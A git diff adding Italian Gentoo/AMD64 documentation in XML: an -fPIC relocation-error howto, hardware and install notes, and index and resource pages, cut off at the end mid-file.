+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/amd64/howtos/fpic-howto.xml,v 1.1 2007/05/02 22:38:43 scen Exp $ -->
+
+<sections>
+
+<version>1.2</version>
+<date>2006-07-23</date>
+
+<section>
+<title>Il Problema</title>
+<body>
+
+<p>
+Capita a volte che GCC termini con un messaggio di errore simile al seguente:
+</p>
+
+<pre caption="Tipico messaggio di errore di GCC">
+.libs/assert.o: relocation R_X86_64_32 against `a local symbol' can not be used
+when making a shared object; recompile with -fPIC .libs/assert.o: could not
+read symbols: Bad value
+</pre>
+
+<p>
+Ci sono molte tipologie differenti di cause per un dato errore. Questo HOWTO
+le spiegherà tutte mostrando le possibili correzioni.
+</p>
+
+</body>
+</section>
+<section>
+<title>Cosa è PIC?</title>
+<body>
+
+<p>
+PIC è l'abbreviazione di <e>Position-Independent Code</e> (ndt <e>Codice
+Indipendente dalla Posizione</e>). Il seguente è un estratto dell'
+<uri link="http://en.wikipedia.org/wiki/Position-independent_code">articolo su
+Wikipedia</uri>(tradotto) in merito al codice indipendente dalla posizione:
+</p>
+
+<p by="tratto da Wikipedia Encyclopaedia (traduzione dalla versione inglese)">
+"In informatica, per codice indipendente dalla posizione (PIC,
+Position-Independent Code) o eseguibile indipendente dalla posizione (PIE,
+Position-Independent Executable) s'intende del codice oggetto che può essere
+eseguito in differenti locazioni in memoria. Il codice PIC è comunemente usato
+per librerie condivise, in modo da permettere che la stessa libreria possa
+essere mappata in una locazione di memoria unica per ogni applicazione (usando
+il sistema della memoria virtuale) dove non può sovrapporsi all'applicazione o
+ad altre librerie condivise. Il codice PIC è stato utilizzato anche su vecchi
+sistemi senza supporto MMU, in modo da permettere al sistema operativo di poter
+mantenere le applicazioni reciprocamente separate.<br/><br/>
+Il codice indipendente dalla posizione può essere copiato in ogni locazione di
+memoria senza modifiche ed esecuzioni, contrariamente dal codice rilocabile, che
+necessità di una analisi speciale da parte di un link editor oppure di un
+program loader per renderlo adatto all'esecuzione in una data locazione. Il
+codice deve essere generalmente scritto o compilato in un modo particolare per
+renderlo indipendente dalla posizione. Le istruzioni che riferiscono ad
+indirizzi di memoria specifici, come salti assoluti, devono essere sostituite
+con operazioni equivalenti ma relative al program-counter. L'indirezione
+aggiuntiva può causare al codice PIC di essere meno efficiente, anche se i
+moderni processori sono progettati per portare migliorie in tal senso."
+</p>
+
+<p>
+Su alcune architetture (tra cui AMD64), le librerie condivise <e>devono</e>
+essere "PIC-abilitate" (ndt, "PIC-enabled").
+<!-- [TODO: reasons would be awesome]. -->
+</p>
+
+</body>
+</section>
+<section>
+<title>Cosa sono le "riallocazioni"?</title>
+<body>
+
+<p>
+Sempre da un estratto dell'articolo su Wikipedia, dato che riporta la miglior
+definizione che si possa trovare:
+</p>
+
+<p by="tratto da Wikipedia Encyclopaedia (traduzione dalla versione inglese)">
+"In informatica, la rilocazione si riferisce al processo di sostituzione dei
+riferimenti simbolici o nomi di librerie con gli attuali ed usabili indirizzi di
+memoria, prima dell'esecuzione del programma stesso. Questa attività è svolta
+tipicamente dal linker durante la compilazione, ma può essere svolta a tempo di
+esecuzione dal program loader. I compilatori e gli assemblatori tipicamente
+generano l'eseguibile con zero come indirizzo iniziale. Prima dell'esecuzione
+del codice oggetto, questi indirizzi devono essere modificati in modo che
+possano denotare indirizzi validi a tempo di esecuzione"
+</p>
+
+<p>
+Con questi termini definiti, è possibile dare uno sguardo ai differenti scenari
+dove possono verificarsi dei problemi:
+</p>
+
+</body>
+</section>
+<section>
+<title>1° Caso: Compilatore malfunzionante (broken)</title>
+<body>
+
+<p>
+Almeno GCC 3.4 è conosciuto per avere una implementazione errata dell'opzione
+<c>-fvisibility-inlines-hidden</c>. L'uso di questa opzione è comunque altamente
+scoraggiata ed i bug relativi riportati sono solitamente marcati come "RESOLVED
+INVALID". Vedere il <uri link="http://bugs.gentoo.org/108872">bug 108872</uri>
+per un esempio di un tipico errore causato da questa opzione.
+</p>
+
+</body>
+</section>
+<section>
+<title>2° Caso: Controllo errato del supporto `-fPIC' nel "configure"</title>
+<body>
+
+<p>
+Molti strumenti <c>configure</c> verificano l'eventuale supporto per l'opzione
+<c>-fPIC</c> da parte del compilatore. La verifica è eseguita compilando un
+programma minimale con l'opzione <c>-fPIC</c> e verificando lo <c>stderr</c>. Se
+il compilatore visualizza un qualsiasi messaggio di avvertimento (warning), è
+assunto che l'opzione <c>-fPIC</c> non sia supportata ed è quindi abbandonata.
+Sfortunatamente, se l'utente specifica una opzione inesistente (per esempio,
+delle opzioni C++ in <c>CFLAGS</c> oppure opzioni introdotte dalle nuove
+versioni di GCC ma non supportate dalle versioni precedenti), GCC visualizza in
+ogni caso un messaggio di avviso ("warning"), ottenendo un malfunzionamento
+della procedura di verifica.
+</p>
+
+<p>
+Per evitare questo tipo di problema, i profili definiti per AMD64 usano un
+bashrc che filtra le opzioni definite in <c>C[XX]FLAGS</c> non valide.
+</p>
+
+<p>
+Vedere il <uri link="http://bugs.gentoo.org/122208">bug 122208</uri> per un
+esempio.
+</p>
+
+</body>
+</section>
+<section>
+<title>3° Caso: Assenza del supporto a `-fPIC' nel software da compilare</title>
+<body>
+
+<p>
+Questo è il caso più comune. È un vero bug del sistema di compilazione e
+dovrebbe essere corretto nell'ebuild, preferibilmente attraverso una patch da
+sottoporre agli sviluppatori originali del software. Assumendo che l'errore sia
+simile a questo:
+</p>
+
+<pre caption="Un esempio di messaggio di errore">
+.libs/assert.o: relocation R_X86_64_32 against `a local symbol' can not be used
+when making a shared object; recompile with -fPIC .libs/assert.o: could not
+read symbols: Bad value
+</pre>
+
+<p>
+Questo significa che il file <path>assert.o</path> non è stato compilato con
+l'opzione <c>-fPIC</c>, contrariamente a come dovrebbe essere. Per la correzione
+di questo tipo di errore, bisogna assicurarsi che solo gli oggetti usati nelle
+librerie siano compilati con <c>-fPIC</c>.
+</p>
+
+<p>
+In questo caso, aggiungendo globalmente <c>-fPIC</c> in <c>C[XX]FLAGS</c> si
+risolverebbe il problema, ma questa pratica è scoraggiata perché anche gli
+eseguibili finirebbero per essere abilitati per essere PIC.
+</p>
+
+<note>
+L'aggiunta dell'opzione <c>-fPIC</c> al comando di linking o in <c>LDFLAGS</c>
+non aiuta.
+</note>
+
+</body>
+</section>
+<section>
+<title>4° Caso: Collegare dinamicamente rispetto archivi statici</title>
+<body>
+
+<p>
+Capita qualche volta che un pacchetto possa creare delle librerie condivise
+usando archivi compilati staticamente e non abilitati come PIC. Ci sono due
+ragioni principali perché questo possa accadere:
+</p>
+
+<p>
+Spesso è il risultato di un mix di <c>USE=static</c> e <c>USE=-static</c>. Se un
+pacchetto di libreria può essere compilato staticamente impostando
+<c>USE=static</c>, solitamente non crea un file <path>.so</path> ma solo un
+archivio <path>.a</path>. Comunque, quando a GCC viene passata l'opzione
+<c>-l</c> per collegare detta (dinamica o statica) libreria, esso ripiega
+sull'archivio statico quando non può individuare la relativa libreria condivisa.
+In questo caso, la soluzione preferita è la compilazione statica della libreria
+usando anche l'opzione <c>-fPIC</c>.
+</p>
+
+<warn>
+Compilare gli archivi statici con l'opzione <c>-fPIC</c> abilitata solo su
+AMD64. Su altre architetture questo non è necessario ed avrà un impatto a tempo
+di esecuzione.
+</warn>
+
+<p>
+Vedere i bug <uri link="http://bugs.gentoo.org/88360">88360</uri> e <uri
+link="http://bugs.mysql.com/bug.php?id=8796">mysql 8796</uri> per un esempio.
+</p>
+
+<p>
+Qualche volta può essere il caso che una libreria non sia predisposta ad essere
+una libreria condivisa, per esempio perché fa un intenso uso di variabili
+globali. In questo caso la soluzione è cambiare la libreria condivisa in una
+libreria statica.
+</p>
+
+<p>
+Vedere il <uri link="http://bugs.gentoo.org/131460">bug 131460</uri> per un
+esempio
+</p>
+
+<pre caption="Esempio di messaggio di errore">
+gcc   -fPIC -DSHARED_OBJECT -c lex.yy.c
+gcc  -shared -o html2txt.so lex.yy.o -lfl
+usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../x86_64-pc-linux-gnu/bin/ld:
+/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../lib64/libfl.a(libyywrap.o):
+relocation R_X86_64_32 against `a local symbol' can not be used when making a
+shared object; recompile with -fPIC
+/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../lib64/libfl.a: could not
+read symbols: Bad value
+</pre>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/amd64/howtos/index.xml b/xml/htdocs/proj/it/base/amd64/howtos/index.xml
new file mode 100644
index 00000000..9fad353b
--- /dev/null
+++ b/xml/htdocs/proj/it/base/amd64/howtos/index.xml
@@ -0,0 +1,63 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/amd64/howtos/index.xml,v 1.4 2008/01/03 21:31:23 scen Exp $ -->
+
+<book link="/proj/it/base/amd64/howtos/index.xml" lang="it">
+<title>Guide Gentoo/AMD64</title>
+
+<author title="Manutentore">
+  <mail link="slarti@gentoo.org">Tom Martin</mail>
+</author>
+<author title="Manutentore">
+  <mail link="blubb@gentoo.org">Simon Stelling</mail>
+</author>
+<author title="Traduttore">
+  Team Italiano
+</author>
+
+<abstract>
+Qui potete trovare le Guide per Gentoo/AMD64.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/2.5 -->
+<license/>
+
+<version>2005.1</version>
+<date>2006-02-01</date>
+
+<part>
+<title>Guide per Gentoo/AMD64</title>
+<abstract>
+Fornisce le guide per gli utenti di Gentoo/AMD64.
+</abstract>
+
+
+<chapter>
+<title>Guida per chiudere un bug</title>
+<abstract>
+Fornisce informazioni per chiudere un bug relativo alla piattaforma
+Gentoo/AMD64.
+</abstract>
+<include href="bugs.xml"/>
+</chapter>
+
+<chapter>
+<title>Guida per realizzare un chroot 32Bit per Gentoo/AMD64</title>
+<abstract>
+Questa guida mostra come realizzare un chroot 32Bit per un sistema Gentoo/AMD64.
+</abstract>
+<include href="chroot-old.xml"/>
+</chapter>
+
+<chapter>
+<title>Guida per riparare gli errori relativi a -fPIC</title>
+<abstract>
+Questa guida è per gli sviluppatori e utenti interessati e fa vedere come
+riparare errori relativi a -fPIC
+</abstract>
+  <include href="fpic-howto.xml"/>
+</chapter>
+
+</part>
+</book>
diff --git a/xml/htdocs/proj/it/base/amd64/install-errata.xml b/xml/htdocs/proj/it/base/amd64/install-errata.xml
new file mode 100644
index 00000000..6dc7c9df
--- /dev/null
+++ b/xml/htdocs/proj/it/base/amd64/install-errata.xml
@@ -0,0 +1,32 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/amd64/install-errata.xml,v 1.1 2005/03/24 22:38:53 so Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+	<title>Informazioni Importanti per l'Installazione di Gentoo</title>
+<body>
+<ul>
+	<li>I driver 64-bit per le schede ATI sono disponibili installando <c>ati-drivers</c></li>
+	<li>reiser4 non funziona su amd64</li>
+	<li>I kernel della serie 2.4.x sono ufficialmente deprecati per Gentoo/AMD64</li>
+	<li>gcc 3.3 è ufficialmente deprecato nella release 2004.3 solo per amd64</li>
+	<li><path>sys-kernel/gentoo-dev-sources</path> è l'unico kernel supportato per Gentoo/AMD64</li>
+	<li>Il supporto Firewire non funziona se è ablitata l'opzione kernel preemption nei nuovi kernel (>=2.6.4)</li>
+	<li>Avere un doppio ambiente 32-bit/64-bit è possibile, con alcune limitazioni</li>
+	<li><b>MAI</b> aggiungere <c>x86</c> o <c>~x86</c> al vostro <c>ACCEPT_KEYWORDS</c></li>
+	<li><b>MAI</b> utilizzare <c>-Os</c> nelle vostre CFLAGS sulla piattaforma AMD64</li>
+	<li>Passate l'opzione <c>idle=poll</c> al kernel in fase di avvio se riscontrate dei kernel panic</li>
+	<li>Le schede SCSI MPT Fusion richiedono che l'opzione <c>iommu=merge</c> sia passata kernel in fase di boot</li>
+	<li>Dovrete avere <c>IA32 Emulation</c> attivato in <path>Executable File Formats</path> nel vostro kernel per far si che l'emulazione 32-bit (ed il 32-bit chroot) funzioni</li>
+	<li>OpenOffice deve essere installato dai binari (<path>openoffice-bin</path>), la versione 64-bit non è ancora disponibile</li>
+	<li>Il Livecd non riconosce in automatico le 3Com 3c940, si dovrà eseguire manualmente <c>modprobe sk98lin</c></li>
+</ul>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/base/amd64/install-hardware.xml b/xml/htdocs/proj/it/base/amd64/install-hardware.xml
new file mode 100644
index 00000000..aad02110
--- /dev/null
+++ b/xml/htdocs/proj/it/base/amd64/install-hardware.xml
@@ -0,0 +1,219 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/amd64/install-hardware.xml,v 1.1 2005/03/24 20:49:51 so Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+	<title>Aggiornamento del BIOS</title>
+<body>
+<p>
+Molti produttori di schede madri per AMD64 sono noti per fornire firmare del BIOS buggato. Asssicurarsi di aver aggiornato il BIOS all' 
+ultima release disponibile prima di tentare l'installazione di Gentoo/AMD64. Aggiornare il BIOS potrebbe risolvere problemi relativi 
+ai memory timings ed includere il supporto per caratteristiche addizionali (come Cool'n'Quiet).
+</p>
+</body>
+</section>
+
+<section>
+	<title>Raid Controller SATA/PATA</title>
+<subsection>
+	<title>Controller, Stato e Tipo</title>
+<body>
+<p>
+Qui viene riportato lo stato dei controller SATA/PATA più comuni:
+</p>
+<table>
+<tr>
+	<th>Fabbricante</th>
+	<th>Modello</th>
+	<th>Tipo di Raid</th>
+	<th>Stato</th>
+</tr>
+<tr>
+	<ti>VIA</ti>
+	<ti>8237</ti>
+	<ti>Software</ti>
+	<ti>FUNZIONANTE</ti>
+</tr>
+<tr>
+	<ti>Promise</ti>
+	<ti>PDC202xx/PDC203xx</ti>
+	<ti>Software</ti>
+	<ti>FUNZIONANTE</ti>
+</tr>
+<tr>
+	<ti>Silicon Image</ti>
+	<ti>3112[a],3512,3114</ti>
+	<ti>Software</ti>
+	<ti>FUNZIONANTE</ti>
+</tr>
+<tr>
+	<ti>Promise</ti>
+	<ti>SX4000 (PDC20621)</ti>
+	<ti>Hardware</ti>
+	<ti>FUNZIONANTE</ti>
+</tr>
+<tr>
+	<ti>3Ware</ti>
+	<ti>Escalade 7xxx and 8xxx</ti>
+	<ti>Hardware</ti>
+	<ti>FUNZIONANTE</ti>
+</tr>
+</table>
+</body>
+</subsection>
+
+<subsection>
+	<title>Differenze tra Hardware e Software RAID</title>
+<body>
+<p>
+
+ Un controller RAID hardware è sempre una scheda aggiuntiva, non viene mai distribuito su una scheda madre. Ha un BIOS nel quale si può 
+accedere prima di effettuare il boot in qualsiasi OS e solitamente supporta, come minimo, i livelli 0,1,1+0 e 5. Ha una propria CPU a 
+bordo che controlla tutti i calcoli del RAID e  l'I/O, e si annuncia all'OS in base a come è stato configurato (es. se l'utente ha 
+configurato un RAID 5, da 3 drive, verrà visto dall'OS come un solo grosso drive.). Un RAID hardware sarà sempre più veloce di un RAID 
+software, e consumerà sempre meno CPU. Un controller RAID hardware può avere slot di memoria aggiuntivi per la cache, ed anche una 
+batteria di backup per essa. L'Hardware RAID limita anche la possibile complessità dei driver poichè la funzionalità RAID è espletata 
+completamente dall'hardware.
+</p>
+<p>
+ Un controller RAID software, può essere fornito sia da schede aggiuntive, sia come integrato su molte schede madri. Un controller 
+software può avere o non avere un BIOS, ma la funzionalità RAID è attualmente implementata nel driver per l'OS. Per questa ragione non 
+troverete MAI un controller RAID software che supporti il boot da un RAID 5. L'OS sarà in grado di vedere ogni drive come un'hard disk 
+standard, poichè non viene mascherato/trasformato dal controller in nessun modo. Nei kernel 2.4, è presente un modulo in grado di leggere 
+molti BIOS di controller SATA, creare un RAID software linux così come specificato dal BIOS, e creare una pseudo device come quella 
+creata da un controller hardware. Di questo modulo 'ataraid' è stato effettuato il porting sui kernel della serie 2.6, la versione presente  nella serie 2.4 non supporta i controller SATA, ma solamente i controller raid PATA. Per dirla senzi mezzi termini, un controller RAID 
+software non è nulla di più di un controller SATA/PATA standard con la possibilità di avere un BIOS in cui memorizzare le informazioni, 
+questo fa si che sia estremamente economico da costruire, ed è il motivo per cui viene incluso in così tante schede madri.
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+	<title>Compatibilità delle Riser Card con schede 3ware e Motherboard Tyan</title>
+<body>
+<p>
+Per ulteriori informazioni sulla compatibilità delle riser cards con schede 3ware e motherboard Tyan, si faccia riferimento a <uri link="http://www.3ware.com/KB/article.aspx?id=10964">questo articolo della 3ware</uri>.
+</p>
+</body>
+</section>
+
+<section>
+	<title>Domande frequenti su Opteron/Athlon64</title>
+<subsection>
+	<title>Qual è la differenza tra Athlon64, Athlon64FX, e Opteron?</title>
+<body>
+ <p>
+ L'Athlon64 è un processore con 754 pin per sistemi desktop, con un bus di memoria a singolo canale, che può operare solamente in 
+configurazione singolo processore. L'Athlon64FX è un processore con 940 pin per workstation con bus di memoria a doppio canale. 
+L'Opteron viene proposto in tre varianti, la serie 1xx per sistemi a processore singolo, la serie 2xx per sistemi biprocessore, e 
+la serie 8xx per sistemi fino a 8 vie (anche di più utilizzando dei controller intermedi), queste varianti non si differenziano per 
+la velocità e generalmente riflettono solamente il numero di bus hypertransport attivi nel chip. Tutti i chip hanno le stesse 
+caratteristiche in ambito di prestazioni (anche se il tipo di bus di memoria e le dimensioni della cache hanno impatto sulle prestazioni), 
+e l'Athlon64FX non è altro che un'Opteron 1xx rimarchiato. Nel futuro, il socket a 754 pin sarà abbandonato in favore del 939 pin 
+che riunirà le linee Athlon64 e Athlon64FX.
+</p>
+</body>
+</subsection>
+<subsection>
+	<title>Perchè l'Athlon64 3200+ e l'Athlon64 3000+ hanno la stessa frequenza di clock?</title>
+<body>
+ <p>
+ L'Athlon64 3000+ ha la metà della cache (512K) dell' Athlon64 3200+ (1MB). Questo causa la riduzione nella valutazione della velocità 
+(nell'utilizzo quotidiano la reale differenza di prestazioni è di meno del 5%).
+</p>
+</body>
+</subsection>
+<subsection>
+	<title>Sono supportate le applicazioni a 32bit? Attraverso l'emulazione o in modo nativo?</title>
+<body>
+<p>
+Si, le applicazioni a 32bit sono pienamente supportate dalla CPU, e sono eseguite in modo nativo. Un'OS standard x86 può essere installato
+ su un processore amd64, e può eseguire applicazioni a 32bit da un sistema operativo a 64bit se l'OS è in grado di mappare syscalls 32bit 
+verso le interfacce di un kernel 64bit (Linux è in grado di farlo se l'opzione viene abilitata nel kernel). Vi preghiamo di controllare 
+la sezione sul supporto 32bit per ulteriori informazioni. Vi ricordiamo che non c'è alcuna penalizzazione nelle performance nell'eseguire 
+applicazioni 32bit su un processore amd64, e sarà sempre più veloce della linea di processori athlonxp nell'eseguire codice a 32bit  (differentemente da ciò che accade con i processori ia64 itanium).
+
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+	<title>Controller SCSI MPT Fusion</title>
+<body>
+<p>
+Per far funzionare questo controller SCSI, in fase di boot, si dovrà passare al kernel la seguente opzione:
+</p>
+ <pre>
+iommu=merge
+</pre>
+</body>
+</section>
+
+<section>
+	<title>Supporto per l'accelerazione Video 3D</title>
+<subsection>
+	<title>Schede ATI Radeon</title>
+<body>
+<p>
+ATI ha finalmente rilasciato i driver 64bit per le schede Radeon superiori
+al modello 9200. L'utente dovrà utilizzare il comando <c>ACCEPT_KEYWORDS="~amd64" emerge ati-drivers</c>
+per poterli installare. Se i driver proprietari non funzionassero in modo 
+corretto, il team di sviluppo suggerisce di provare il driver open 
+source "radeon" incluso in xorg. Tuttavia, il driver "radeon" include 
+solamente l'accelerazione 2d.
+</p>
+</body>
+</subsection>
+<subsection>
+	<title>nVidia GeForce</title>
+<body>
+<p>
+nVidia ha rilasciato i driver per AMD64. Gentoo ha provveduto agli ebuild. Per installare i driver nvidia, eseguire 
+le seguenti operazioni:
+</p>
+<pre>
+emerge nvidia-kernel
+emerge nvidia-glx
+emerge nvidia-settings
+</pre>
+<impo>L'utente dovrà utilizzare un kernel 2.6.7 o superiore, questo per risolvere i 
+casuali riavvii e blocchi del sistema sperimentati da alcuni utenti.</impo>
+<p>
+Una volta completato l'emerge, si attivi il driver nVidia nel file <path>/etc/X11/xorg.conf</path> come specificato 
+dalla documentazione nVidia.
+</p>
+</body>
+</subsection>
+<subsection>
+	<title>Schede Video Matrox</title>
+<body>
+<p>
+Molte schede video Matrox richiedono il modulo proprietario 'mga_hal' per poter abilitare il supporto 
+dual-head (G400 e precedenti) o la cattura video. Matrox non ha ancora rilasciato una versione compilata 
+per amd64 di questo modulo. Questo significa che anche se la scheda funziona, gli utenti non potranno 
+utilizzare le features avanzate.
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+	<title>Driver bcm/tigon3 per schede di rete</title>
+<body>
+<p>
+Molte schede madri per Opteron escono con schede di rete ingrate basate su chip Broadcom. Abbiamo provveduto ad inserire nel kernel 
+standard, sia il driver tg3 sia il driver bcm5700, per fornire il supporto per queste schede. Se possibile si scelga di utilizzare il 
+driver tg3, poichè è quello supportato dalla comunità, il driver bcm5700 viene fornito solo per aiutare le persone che hanno problemi 
+con tg3.
+</p>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/base/amd64/install-intro.xml b/xml/htdocs/proj/it/base/amd64/install-intro.xml
new file mode 100644
index 00000000..fa9f6201
--- /dev/null
+++ b/xml/htdocs/proj/it/base/amd64/install-intro.xml
@@ -0,0 +1,24 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/amd64/install-intro.xml,v 1.1 2005/03/24 21:05:46 so Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+	<title>Introduzione</title>
+<subsection>
+	<title>Riguardo le Note Tecniche d'Installazione di Gentoo/AMD64</title>
+<body>
+<p>
+Le note tecniche d'installazione di Gentoo/AMD64 sono pensate per essere utilizzate durante 
+l'installazione e l'uso quotidiano del port di Gentoo per AMD64. Si consiglia che l'utente 
+legga interamente queste note prima di procedere all'installazione di Gentoo/AMD64.
+</p>
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/base/amd64/intro.xml b/xml/htdocs/proj/it/base/amd64/intro.xml
new file mode 100644
index 00000000..b413f26b
--- /dev/null
+++ b/xml/htdocs/proj/it/base/amd64/intro.xml
@@ -0,0 +1,25 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/amd64/intro.xml,v 1.1 2005/03/24 22:03:35 so Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+	<title>Introduzione al Progetto Gentoo/AMD64</title>
+
+<subsection>
+	<title>Il Progetto Gentoo/AMD64</title>
+<body>
+<p>
+Il progetto Gentoo/AMD64 ha lo scopo di rendere Gentoo la più aggiornata, veloce, robusta, distribuzione Linux per AMD64. Questo comporta 
+in parte l'adozione di soluzioni innovative per integrare un livello di compatibilità verso i 32-bit in un'ambiente 64-bit nativo, senza 
+per questo rovinare o frammentare l'ambiente corrente. Lo scopo principale è quello di fornire una release stabile, pronta per la produzione,  mirata ai server che saranno l'ambiente di elezione dei processori Opteron.
+</p>
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/base/amd64/resources.xml b/xml/htdocs/proj/it/base/amd64/resources.xml
new file mode 100644
index 00000000..663109db
--- /dev/null
+++ b/xml/htdocs/proj/it/base/amd64/resources.xml
@@ -0,0 +1,67 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /home/cvsroot/technotes/resources.xml,v 1.3 2004/02/23 17:38:00
+jhuebel Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+	<title>Ulteriori Risorse per Gentoo/AMD64</title>
+<subsection>
+	<title>Manuale Gentoo</title>
+<body>
+<p>
+Queste note tecniche sono solamente un supplemento alla documentazione ufficiale Gentoo.
+Leggete il <uri link="http://www.gentoo.org/doc/it/handbook/handbook.xml">Manuale Gentoo
+</uri> per informazioni più generiche riguardo l'installazione.
+</p>
+</body>
+</subsection>
+
+<subsection>
+	<title>Mailing List e Forum</title>
+<body>
+<p>
+Il Progetto Gentoo/AMD64 mette attualmente a disposizione degli utenti mailing list 
+e forum ove poter porre domande. 
+</p>
+<ul>
+	<li>Forum: <uri>http://forums.gentoo.org/viewforum.php?f=46</uri></li>
+	<li>Mailing List: <mail
+link="gentoo-amd64-subscribe@gentoo.org">Subscribe</mail> / <mail
+link="gentoo-amd64-unsubscribe@gentoo.org">Unsubscribe</mail> / <uri
+link="http://www.gentoo.org/main/en/lists.xml">Mailing List Overview</uri></li>
+</ul>
+</body>
+</subsection>
+
+<subsection>
+	<title>Gentoo/AMD64 IRC Chat</title>
+<body>
+<p>
+Se avete letto tutta la documentazione e non avete ancora trovato una risposta 
+alle vostre domande, la scelta migliore è di chiedere informazioni sul canale 
+IRC #gentoo-amd64 su irc.freenode.net.
+</p>
+<note>E' molto importante che l'utente legga queste note <e>prima</e> poi eventualmente 
+chieda nei forums, nelle mailing lists o su IRC.</note>
+</body>
+</subsection>
+
+<subsection>
+	<title>Sito Web x86-64.org</title>
+<body>
+<p>
+La <uri link="http://www.x86-64.org">AMD64 Homepage</uri> contiene informazioni 
+importanti sul porting di applicazioni verso la piattaforma AMD64, informazioni 
+che possono risultare utili se l'utente è interessato a scrivere patch per 
+correggere ebuilds errati.
+</p>
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/base/amd64/technotes.xml b/xml/htdocs/proj/it/base/amd64/technotes.xml
new file mode 100644
index 00000000..4494f12c
--- /dev/null
+++ b/xml/htdocs/proj/it/base/amd64/technotes.xml
@@ -0,0 +1,109 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/amd64/technotes.xml,v 1.1 2005/03/24 20:18:08 so Exp $ -->
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<book link="technotes.xml" lang="it">
+<title>Informazioni sul Progetto Gentoo/AMD64</title>
+
+<author title="Editor"><mail link="jhuebel@gentoo.org">Jason Huebel</mail></author>
+<author title="Editor"><mail link="avenj@gentoo.org">Jon Portnoy</mail></author>
+<author title="Traduttore"><mail link="ludovico.poggioli@tiscali.it">Ludovico Poggioli</mail></author>
+
+<abstract>
+Il progetto Gentoo/AMD64 ha lo scopo di rendere Gentoo la più aggiornata, veloce, robusta, distribuzione Linux per AMD64. (e IA-32e)
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+<license/>
+
+<version>2004.3</version>
+<date>2005-01-24</date>
+
+<part>
+	<title>Il Progetto Gentoo/AMD64</title>
+<abstract>
+Introduzione al progetto Gentoo/AMD64 e riferimenti a
+varie risorse su AMD64 al di fuori di questo documento.
+</abstract>
+
+<chapter><title>Introduzione</title>
+<abstract>
+	Un'introduzione al Progetto Gentoo/AMD64.
+</abstract>
+	<include href="intro.xml"/>
+</chapter>
+
+<chapter><title>Sviluppo di Gentoo/AMD64</title>
+<abstract>
+	Chi sono gli sviluppatori e come potete aiutarli.
+</abstract>
+	<include href="devel.xml"/>
+</chapter>
+
+<chapter>
+	<title>Politica dei Bug di Gentoo/AMD64</title>
+<abstract>
+	Come trovare e risolvere bug su Gentoo/AMD64.
+</abstract>
+	<include href="bugs.xml"/>
+</chapter>
+
+<chapter><title>Risorse Aggiuntive</title>
+<abstract>
+	Altre risorse utili per installare e rendere operativo un sistema Gentoo/AMD64.
+</abstract>
+	<include href="resources.xml"/>
+</chapter>
+</part>
+
+<part>
+	<title>Note d'installazione per Gentoo/AMD64</title>
+<abstract>
+	Questa parte include informazioni sui problemi più comuni incontrati durante l'installazione della piattaforma Gentoo/AMD64.
+</abstract>
+
+
+<chapter>
+	<title>Introduzione</title>
+<abstract>
+	Un'introduzione sulle note tecniche dell'installazione di Gentoo/AMD64
+</abstract>
+	<include href="install-intro.xml"/>
+</chapter>
+
+<chapter>
+	<title>Hardware</title>
+<abstract>
+	Informazioni sui problemi hardware della piattaforma Gentoo/AMD64
+</abstract>
+	<include href="install-hardware.xml"/>
+</chapter>
+
+<chapter>
+	<title>Software</title>
+<abstract>
+	Informazioni sui problemi software della piattaforma Gentoo/AMD64	
+</abstract>
+	<include href="install-software.xml"/>
+</chapter>
+
+<chapter>
+	<title>Compatibilità 32-bit</title>
+<abstract>
+	Informazioni sull'utilizzo di applicazioni 32-bit su Gentoo/AMD64
+</abstract>
+	<include href="install-32bit.xml"/>
